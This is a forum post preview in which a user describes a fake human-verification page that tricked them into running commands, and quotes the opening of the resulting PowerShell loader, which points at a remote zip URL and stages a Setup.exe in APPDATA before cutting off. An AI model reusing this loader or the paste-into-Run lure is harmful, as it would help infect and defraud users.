Jump to content

Legitimate trojan:Script/Wacatac.H!ml Threat Blocked, but Until What Point?


Recommended Posts

Guest michaelDB17
Posted

Hi Guys!I was not in the right mind when I routinely did those Verify You Are A Human kind of things - and there was one that had instructions on them to Windows+ Run and copy some commands. The command effectively downloaded a file and ran it. The downloaded text file had the commands below:"$TMHs3BNtlCjsF02l = 'https://filezzdwn.b-cdn.net/gig.zip' $MrZ3zmmeQHVUpi3R = "$env:APPDATA\n6FHhzX0FyISVnX0" $r2wINSY2y1wFmxF9 = "$MrZ3zmmeQHVUpi3R\DsQMMDat7GYX2V9M.zip" $bcjnVlXThI20JHuC = "$MrZ3zmmeQHVUpi3R\Setup.exe"if (!(Test-Path $MrZ3zmmeQHVUpi3R)) { New-Item -Path $MrZ3zmmeQHVUpi3R -ItemType Direc

 

Continue reading...

  • Replies 0
  • Created
  • Last Reply

Popular Days

Popular Days

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


×
×
  • Create New...